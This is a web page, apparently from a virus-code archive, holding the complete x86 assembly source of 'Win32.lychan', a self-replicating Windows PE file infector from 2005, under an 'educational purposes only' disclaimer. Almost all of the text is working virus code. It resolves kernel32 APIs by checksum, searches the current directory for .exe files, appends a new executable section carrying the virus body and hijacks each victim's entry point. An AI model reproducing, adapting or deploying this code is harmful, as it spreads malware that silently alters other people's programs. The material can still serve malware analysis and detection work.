|| Author: lclee_vx/F13-Labs || Back to sources || View project folder ||
;------------------------------------------------------------------------------- ;Win32.lychan (c)opyright 2005 by lclee_vx ; ;Win32.lychan is a PE infector on Windows 9x/2K/XP without any encryption, ;its proof of concept show that how virus infect the PE exe with adding new section behind ;the target exe files. A little different compare with w32.cleevix. ; ; ; ;Description ;----------- ;when the win32.lychan execute, its running the process as below ; ;1) Retrieve the base address of Kernel32.dll ;2) Scans the Export Table of Kernel32.dll for the API Functions with checksum technic ;3) Retrieve API functions by scanning others *.dll file. For example, retrieve ; MessageBox function from User32.dll file. ;4) Scan the Current directory, infect all the *exe files. ;5) The virus do not try to harm/damage the system, its just patch itself to the ; PE files with adding new section and copy virus body inside the new section. ;6) its detected by Antivirus software. I publish this code is to proof that another technic of ; PE appending with adding new section behind PE exe files (Is old technic :p!!). ; ; ; ;That is about all folks. The code is heavily commented, so, it should be easy ;enough to follow. ; ; Disclaimer ; ---------- ;THIS CODE IS MEANT FOR EDUCATIONAL PURPOSES ONLY. THE AUTHOR CANNOT BE HELD ;RESPONSIBLE FOR ANY DAMAGE CAUSED DUE TO USE, MISUSE OR INABILITY TO USE THE ;SAME ; ; ;Author : lclee_vx ;Group : F-13 Labs ;Web : http://f13.host.sk ;Email : lclee_vx@yahoo.com ;Credit : Lord Julus, 29A ezines, IKX ezines ;---------------------------------------------------------------------------------- .386p .model flat, stdcall option casemap:none .data .code VirusStart: call Delta Delta: pop ebp mov ebx, ebp ;ebx=ebp sub ebp, offset Delta sub ebx, RubbishSize ;ebx=ImageBase sub ebx, 1000h mov dword ptr [ebp+offset ModuleAddress], ebx ;save mov esi, [esp] ;get the current Address and esi, 0FFFF0000h call GetK32 mov dword ptr [ebp+offset KernelAddr], esi ;save the address of Kernel32.dll call GetApis call SpecialApi call DirectoryScan cmp ebp, 0 je FirstGeneration call FirstGeneration ReturnHost: mov eax, dword ptr [ebp+offset OldEip] jmp eax ret ;------------------------------------------------------------------------------------------------ ;Directory scanning the files we are going to infect ;------------------------------------------------------------------------------------------------ DirectoryScan proc lea eax, [ebp+offset CurtDirectory] ;get the address of current directory push eax push max_path ;load the size of directory=260 mov eax, dword ptr [ebp+offset aGetCurrentDirectoryA] call eax lea eax, [ebp+offset CurtDirectory] push eax mov eax, dword ptr [ebp+offset aSetCurrentDirectoryA] ;set to current directory call eax mov dword ptr [ebp+offset Counter], 3 ;set the counter=3, target maximum 3 files call SearchFiles ;jump to search the files ret DirectoryScan endp ;----------------------------------------------------------------------------------------------- ;This is the routine to search the target files ;------------------------------------------------------------------------------------------------ SearchFiles proc push ebp ;save ebp lea eax, dword ptr [ebp+offset W32FindData] ;load the Win32_Find_Data structure push eax lea eax, [ebp+offset Mark] ;target file "*.exe" push eax mov eax, dword ptr [ebp+offset aFindFirstFileA] ;start searching target file call eax pop ebp ;save the original ebp inc eax ;eax+1 jz SearchClose ;"FindFirstFile" error? dec eax ;get the original eax mov dword ptr [ebp+offset SearchHandle], eax ;save the SearchHandle mov esi, offset W32FindData.FileName ;esi = filename add esi, ebp mov dword ptr [ebp+offset FilePointer], esi ;save it call InfectFile ;jump to infect file dec dword ptr [ebp+offset Counter] ;Counter-1 cmp dword ptr [ebp+offset Counter], 0 ;Counter=0?? je SearchHandleClose ;close searching SearchNext: push ebp ;save ebp mov eax, dword ptr [ebp+offset W32FindData] ;eax= Win32_Find_Data structure push eax mov eax, dword ptr [ebp+offset SearchHandle] ;eax=SearchHandle push eax mov eax, dword ptr [ebp+offset aFindNextFileA] ;start next searching call eax pop ebp cmp eax, 0 ;FindNextFile error?? je SearchHandleClose ;close searching mov esi, offset W32FindData.FileName ;esi=filename add esi, ebp mov dword ptr [ebp+offset FilePointer], esi ;save it call InfectFile dec dword ptr [ebp+offset Counter] ;Counter-1 cmp dword ptr [ebp+offset Counter], 0 ;Counter=0? jne SearchNext SearchHandleClose: push ebp ;save ebp push dword ptr [ebp+offset SearchHandle] mov eax, dword ptr [ebp+offset aFindClose] ;close the searching call eax pop ebp cmp eax, 0 ;error?? je SearchClose SearchClose: ret SearchFiles endp ;------------------------------------------------------------------------------------------------ ;Infect the *.exe files ;ecx=original filesize ;esi=Filename pointer ;------------------------------------------------------------------------------------------------ InfectFile: pushad mov dword ptr [ebp+offset InfectFlag], 0h ;mark the infectFlag=0 push esi ;esi=pointer to FileName mov eax, dword ptr [ebp+offset aGetFileAttributesA] ;get the file attribute call eax cmp eax, -1 ;error?? jz InfectFail mov dword ptr [ebp+offset OriFileAttribute], eax ;save it push 00000080h ;set "Any" push dword ptr [ebp+offset FilePointer] mov eax, dword ptr [ebp+offset aSetFileAttributesA] ;set the file attribute call eax cmp eax, 0 ;error?? jz ErrorOpenExe ;jump out push 0h push 80h push 00000003h push 0h push 0h push 0c0000000h push dword ptr [ebp+offset FilePointer] mov eax, [ebp+offset aCreateFileA] ;open the target file call eax cmp eax, -1 ;error? jz ErrorOpenExe mov dword ptr [ebp+offset FileHandle], eax ;save the FileHandle mov ecx, [W32FindData.FileSizeHigh+ebp] ;ecx=lpFileSizeHigh push ecx push eax ;eax=FileHandle mov eax, [ebp+offset aGetFileSize] call eax ;eax=FileSize cmp eax, -1 jz ErrorBuffer mov dword ptr [ebp+offset OriFileSize], eax add eax, SecVirSize+SecVirPadd ;add extra size=2000h push eax push 40h ;GMEM_FIXED=0 or GMEM_ZEROINIT=0040h mov eax, [ebp+offset aGlobalAlloc] ;allocate the specified bytes call eax ;in the heap cmp eax, 0 ;error?? jz ErrorBuffer mov dword ptr [ebp+offset MemoryHandle], eax ;save it xor eax, eax lea eax, dword ptr [ebp+offset ByteRead] ;load the ByteRead push 0h push eax push dword ptr [ebp+offset OriFileSize] push dword ptr [ebp+offset MemoryHandle] push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aReadFile] ;read data from the file call eax cmp eax, 0 ;error?? jz ErrorReadExe mov esi, [ebp+offset MemoryHandle] ;esi=memory handle address cmp word ptr [esi], "ZM" ;checking MZ signature jnz ErrorReadExe mov eax, [esi+3ch] ;eax=offset PE Header add esi, eax ;esi=pointer to PE Header cmp dword ptr [esi], "EP" ;PE file?? jz StartInfect ;start infect the files mov dword ptr [ebp+offset InfectFlag], 0FFh ;put the error mark jmp ErrorReadExe StartInfect: cmp dword ptr [esi+4ch], "chan" ;file infected jz ErrorReadExe mov dword ptr [esi+4ch], "chan" ;mark the infected file mov dword ptr [ebp+offset PEHeaderExe], esi ;save the PE Header ;--------- ;here we start adjust Original PE Header parameter ;------------- xor eax, eax mov ax, word ptr [esi+06h] ;original No.Of.Section mov dword ptr [ebp+offset OriSection], eax ;save it inc word ptr [esi+06h] ;No.Of.Section+1 mov eax, [esi+28h] ;eax=Original AddressOfEntryPoint add eax, [esi+34h] ;eax=Original AddressOfEntryPoint+ ;Original ImageBase mov dword ptr [ebp+offset OldEip], eax ;save it mov eax, [esi+50h] ;eax=Original SizeOfImage mov [esi+28h], eax ;update the New AddressOfEntryPoint mov dword ptr [ebp+offset OriImageSize], eax ;save it add eax, SecVirSize ;size new section, enough..:)!! mov [esi+50h], eax ;New SizeOfImage ;--------------------- ;now we point to the last section header ;esi= pointer PE Header ;----------------------------------- add esi, 0F8h ;point to section header mov eax, 28h ;section header size mov ecx, [ebp+offset OriSection] ;original No.Of.Section mul ecx ;eax=eax*ecx add esi, eax ;esi=Point to Last Section Header mov dword ptr [ebp+offset LastSectionHeader], eax ;save it assume esi:ptr PESection mov dword ptr [esi].nsname, "lych" ;name mov eax, SecVirSize ;eax=New Section VirtualSize mov [esi].nsvirtualsize, eax mov eax, [ebp+offset OriImageSize] ;eax=Original SizeOfImage mov [esi].nsRVA, eax mov eax, VirusSize ;eax=virus length mov [esi].nsphysicalsize, eax mov eax, [ebp+offset OriFileSize] ;eax=original FileSize mov [esi].nsphysicaloffset, eax mov eax, Char mov [esi].nsflags, eax ;set section Read, Write, Executable assume esi: ;----------------- ;start copy virus body ;-------------------- mov edi, [ebp+offset MemoryHandle] mov eax, [ebp+offset OriFileSize] add edi, eax ;edi=MemoryHandle+OriFileSize mov esi, offset VirusStart add esi, ebp ;esi=point to VirusStart mov ecx, VirusSize rep movsb ;start copy virus body to target files push 0h push 0h push 0h push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aSetFilePointer] call eax mov eax, VirusSize mov ecx, [ebp+offset OriFileSize] add ecx, eax ;ecx=VirusSize+OriFileSize lea eax, dword ptr [ebp+offset ByteRead] push 0h push eax push ecx push dword ptr [ebp+offset MemoryHandle] push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aWriteFile] call eax InfectError: ErrorReadExe: push ebp push dword ptr [ebp+offset MemoryHandle] mov eax, [ebp+offset aGlobalFree] call eax pop ebp ErrorBuffer: push ebp push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aCloseHandle] call eax pop ebp ErrorOpenExe: push ebp push dword ptr [ebp+offset OriFileAttribute] push dword ptr [ebp+offset FilePointer] mov eax, [ebp+offset aSetFileAttributesA] call eax pop ebp jmp InfectCheck InfectFail: stc jmp JumpOut InfectCheck: cmp dword ptr [ebp+offset InfectFlag], 0FFh jz InfectFail clc JumpOut: popad ret ;------------------------------------------------------------------------------------------------ ;here we start to scan APIs functions "GetProcAddress" and "LoadLibrary" ;and retrieve others APIs functions with GetProcAddress and LoadLibrary ; ;Notes: ;AddressOfNames = points to a table of function name string one after another ;AddressOfFunctions = points to a table filled with function addresses ;AddressOfOrdinals = points to a table with the ordinal number or each function ;------------------------------------------------------------------------------------------------ GetApis proc mov eax, esi ;eax=esi=address of kernel32.dll add eax, dword ptr [eax+3ch] ;eax=Pointer to PE Header mov dword ptr [ebp+offset PEHeader], eax ;save it add esi, dword ptr [eax+78h] ;esi=point to ExportDirectory mov dword ptr [ebp+offset ExportDir], esi ;save it mov edx, dword ptr [ebp+offset KernelAddr] ;edx=Address of Kernel32.dll add edx, [esi+20h] ;edx=AddressOfNames mov dword ptr [ebp+offset AddrOfNames], edx ;save it mov ecx, dword ptr [esi+18h] ;ecx=NumberOfNames mov dword ptr [ebp+offset NumOfNames], ecx ;save it lea edi, word ptr [ebp+offset ImportantApis] ;edi=API functions we need xor eax, eax ;set the index counter eax=0 SearchApiName: mov esi, dword ptr [ebp+offset KernelAddr] ;esi=Address of Kernel32.dll add esi, [edx+eax*4] ;get address for next api name in ;kernel32.dll @Step1: pushad ;save all the register xor edx, edx ;edx=0 mov edx, dword ptr [edi] ;load the Api functions need into edx cmp edx, 12345678h ;ended?? Refer to "ImportantApis" structure jz GetOut1 ;jump to end of routine @Step2: xor eax, eax ;eax=0 lodsb ;esi-->eax, take a character, ie:"_X" mov ah, al ;move it left, ie:"X __" mov al, 0 sub edx, eax cmp eax, 0 ;eax=0?? jz @Step3 xor ax, ax ;ax=0 lodsb ;esi-->eax, take a character, ie:"_Y" sub edx, eax cmp eax, 0 ;eax=0 jnz @Step2 @Step3: test edx, edx ;edx=0?, we get the checksum match? jz FoundApi popad ;save back all the register inc eax ;eax+1 cmp eax, dword ptr [ebp+offset NumOfNames] ;compare with the NumberOfNames jge GetOut ;jump out from the routine jmp SearchApiName ;Here we apply two formula to retrieve the address of the API functions we need ;eax = The index into the Address of Ordinals ; ;Formula 1: eax*2+[AddressOfNameOrdinals]=Ordinal ;Formula 2: Ordinal*4+[AddressOfFunctions]=Address of Function (RVA) ; FoundApi: popad ;save back all the register mov esi, dword ptr [ebp+offset ExportDir] ;esi=point to ExportDir mov edx, dword ptr [ebp+offset KernelAddr] ;edx=Address of Kernel32.dll add edx, [esi+24h] ;edx=AddressOfNameOrdinals movzx eax, word ptr [edx+eax*2] ;Apply Formula 1 mov edx, dword ptr [ebp+offset KernelAddr] ;edx=Address of Kernel32.dll add edx, [esi+1ch] ;edx+AddressOfFunctions mov esi, dword ptr [ebp+offset KernelAddr] add esi, [edx+eax*4] mov eax, esi ;eax=address of functions add edi, 4 stosd ;save eax -->edi xor eax, eax mov edx, dword ptr [ebp+offset AddrOfNames] jmp SearchApiName GetOut1: popad GetOut: ret GetApis endp ;------------------------------------------------------------------------------------------------ ;call the special api function in User32.dll ;------------------------------------------------------------------------------------------------ SpecialApi proc lea eax, [ebp+offset User32Dll] push eax mov eax, dword ptr [ebp+offset aLoadLibraryA] call eax lea esi, [ebp+offset sMessageBoxA] push esi push eax mov eax, dword ptr [ebp+offset aGetProcAddress] call eax mov dword ptr [ebp+offset aMessageBoxA], eax ret SpecialApi endp ;------------------------------------------------------------------------------------------------ ;This routine is scan Kernel32.dll address ; ;Notes: ;------- ;we set the esi+IMAGE_DOS_HEADER.e_lfanew < 4096byte (1000h), its impossible the size of Dos Header ;plus Stub > 4096byte, correct me if i wrong :p ; ;the code "test ax, 0f000h" that mean we check the value for "0xxx", x=value 0,1 ;------------------------------------------------------------------------------------------------ GetK32 proc push eax Step1: dec esi ;Checking every byte mov ax, [esi+3ch] ;ax=esi+IMAGE_DOS_HEADER.e_lfanew test ax, 0f000h ;ax < 4096byte jnz Step1 cmp esi, [esi+eax+34h] ;esi=IMAGEBASE ?? jnz Step1 pop eax ;save the original eax ret GetK32 endp ;------------------------------------------------------------------------------------------------ ;parameters ; ;Notes: ;1. For ImportantAPIs, the 100h ~ FFh (1 word) ;------------------------------------------------------------------------------------------------ max_path equ 260 ModuleAddress dd 00000000h OldEip dd 00000000h Counter dd 00000000h KernelAddr dd 00000000h PEHeader dd 00000000h ExportDir dd 00000000h AddrOfNames dd 00000000h NumOfNames dd 00000000h SearchHandle dd 00000000h FilePointer dd 00000000h OriFileSize dd 00000000h InfectFlag dd 00000000h OriFileAttribute dd 00000000h FileHandle dd 00000000h MemoryHandle dd 00000000h OriImageSize dd 00000000h NewImageSize dd 00000000h LastSectionHeader dd 00000000h PEHeaderExe dd 00000000h OriSection dd 00000000h ByteRead dd ? WinDirectory db max_path dup (?) SysDirectory db max_path dup (?) CurtDirectory db max_path dup (?) Mark db "*.exe", 0 User32Dll db "User32.dll", 0 sMessageBoxA db "MessageBoxA", 0 aMessageBoxA dd 00000000h ImportantApis: sLoadLibraryA dd "Lo"+"ad"+"Li"+"br"+"ar"+"yA" aLoadLibraryA dd 000000000h sGetProcAddress dd "Ge"+"tP"+"ro"+"cA"+"dd"+"re"+"ss" aGetProcAddress dd 00000000h sGetWindowsDirectoryA dd "Ge"+"tW"+"in"+"do"+"ws"+"Di"+"re"+"ct"+"or"+"yA" aGetWindowsDirectoryA dd 00000000h sGetSystemDirectoryA dd "Ge"+"tS"+"ys"+"te"+"mD"+"ir"+"ec"+"to"+"ry"+"A"*100h aGetSystemDirectoryA dd 00000000h sGetCurrentDirectoryA dd "Ge"+"tC"+"ur"+"re"+"nt"+"Di"+"re"+"ct"+"or"+"yA" aGetCurrentDirectoryA dd 00000000h sSetCurrentDirectoryA dd "Se"+"tC"+"ur"+"re"+"nt"+"Di"+"re"+"ct"+"or"+"yA" aSetCurrentDirectoryA dd 00000000h sFindFirstFileA dd "Fi"+"nd"+"Fi"+"rs"+"tF"+"il"+"eA" aFindFirstFileA dd 00000000h sFindNextFileA dd "Fi"+"nd"+"Ne"+"xt"+"Fi"+"le"+"A"*100h aFindNextFileA dd 00000000h sFindClose dd "Fi"+"nd"+"Cl"+"os"+"e"*100h aFindClose dd 00000000h sGetFileAttributesA dd "Ge"+"tF"+"il"+"eA"+"tt"+"ri"+"bu"+"te"+"sA" aGetFileAttributesA dd 00000000h sSetFileAttributesA dd "Se"+"tF"+"il"+"eA"+"tt"+"ri"+"bu"+"te"+"sA" aSetFileAttributesA dd 00000000h sCreateFileA dd "Cr"+"ea"+"te"+"Fi"+"le"+"A"*100h aCreateFileA dd 00000000h sGetFileSize dd "Ge"+"tF"+"il"+"eS"+"iz"+"e"*100h aGetFileSize dd 00000000h sGlobalAlloc dd "Gl"+"ob"+"al"+"Al"+"lo"+"c"*100h aGlobalAlloc dd 00000000h sReadFile dd "Re"+"ad"+"Fi"+"le" aReadFile dd 00000000h sSetFilePointer dd "Se"+"tF"+"il"+"eP"+"oi"+"nt"+"er" aSetFilePointer dd 00000000h sWriteFile dd "Wr"+"it"+"eF"+"il"+"e"*100h aWriteFile dd 00000000h sGlobalFree dd "Gl"+"ob"+"al"+"Fr"+"ee" aGlobalFree dd 00000000h sCloseHandle dd "Cl"+"os"+"eH"+"an"+"dl"+"e"*100h aCloseHandle dd 00000000h sExitProcess dd "Ex"+"it"+"Pr"+"oc"+"es"+"s"*100h aExitProcess dd 00000000h dd 12345678h filetime STRUC ;file time structure FT_dwLowDateTime DD ? FT_dwHighDateTime DD ? filetime ENDS win32_find_data STRUC FileAttributes DD ? ; attributes CreationTime filetime ? ; time of creation LastAccessTime filetime ? ; last access time LastWriteTime filetime ? ; last modificationm FileSizeHigh DD ? ; filesize FileSizeLow DD ? ; -"- Reserved0 DD ? ; Reserved1 DD ? ; FileName DB max_path DUP (?) ; long filename AlternateFileName DB 13 DUP (?) ; short filename DB 3 DUP (?) ; dword padding win32_find_data ENDS ; ; W32FindData win32_find_data ? ; our search area PESection STRUC nsname db 8 dup (0) nsvirtualsize dd 0 nsRVA dd 0 nsphysicalsize dd 0 nsphysicaloffset dd 0 nsreserved db 12 dup (0) nsflags dd 0 PESection ends RubbishSize equ (offset Delta - offset VirusStart) ;redundant size VirusSize equ (offset VirusEnd-offset VirusStart) ;total size of virus SecVirSize equ 1000h SecVirPadd equ 1000h Char equ 0E0000020h ;read, write, executable szTopic db "F-13 Labs", 0 szText db "Coded by lclee_vx", 0 FirstGeneration: push 0 lea eax, [ebp+offset szTopic] push eax lea eax, [ebp+offset szText] push eax push 0 mov eax, [ebp+offset aMessageBoxA] call eax ret VirusEnd: ends end VirusStart